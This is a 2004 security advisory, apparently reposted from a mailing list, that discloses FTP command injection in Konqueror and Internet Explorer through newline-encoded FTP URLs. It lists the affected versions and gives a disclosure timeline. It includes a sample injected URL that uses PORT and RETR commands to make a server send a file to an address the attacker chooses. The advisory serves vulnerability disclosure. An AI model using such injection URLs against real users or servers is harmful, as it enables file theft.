[UNIX] FTP Client Command Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 12/22/04

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Date: 22 Dec 2004 15:33:16 +0200

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      FTP Client Command Injection
    ------------------------------------------------------------------------

    SUMMARY

    Konqueror is "a very multifuncional HTTP browser included on KDE base
    package. Like others browsers it can use more protocols, for example FTP.
    This application is usually used to navigate through the file systems".

    Both Konqueror and Internet Explorer suffer from command injection
    vulnerability that can be exploited by an especially formed FTP URL.

    DETAILS

    Vulnerable Systems:
     * Konqueror version 3.3.1 and prior
     * Internet Explorer 5.0 (3700.1000)
     * Internet Explorer 6.0 (2800.1106)

    In order to access to a server FTP using Internet Explorer you write
    "ftp://ftpuser:ftppass@server/directory" in the directories' bar and then
    the navigator connects to the server and executes the following commands
    (and other that have omitted because they are not important for this
    stuff).

       USER ftpuser
       PASS ftppass
       CWD /directory/

    The security problem resides in which is possible to inject FTP commands
    on the URL adding at the code %0a followed by your injected commands. If
    you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will
    execute those commands.

       USER ftpuser
       PASS ftppass
       CWD /directory
       somecommand

    The last line is an erroneous command, but it's not a problem because
    'somecommand' has already been executed.

    Exploit:
    You need to deceive a user to go to your URL and then to introduce a valid
    user and password. So yes! The exploitation also requires to apply social
    engineering. Then you can do a lot of things using this bug like create or
    delete files and directories, but probably, the most interesting thing is
    to download files. Its possible to do that using this URL;

        ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

    Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
    translate the port number) and will send the file data.

    Timeline:
    01/12/2004 - Bug discovered
    02/12/2004 - KDE developers contacted
    03/12/2004 - Fast developers reply
    03/12/2004 - IE also afected, so 7a69ezine decided to publish the bug
    05/12/2004 - Advisor released

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ripe@7a69ezine.org> Albert
    Puigsech Galicia.
    The original article can be found at:
    <http://www.7a69ezine.org/node/view/169>
    http://www.7a69ezine.org/node/view/169

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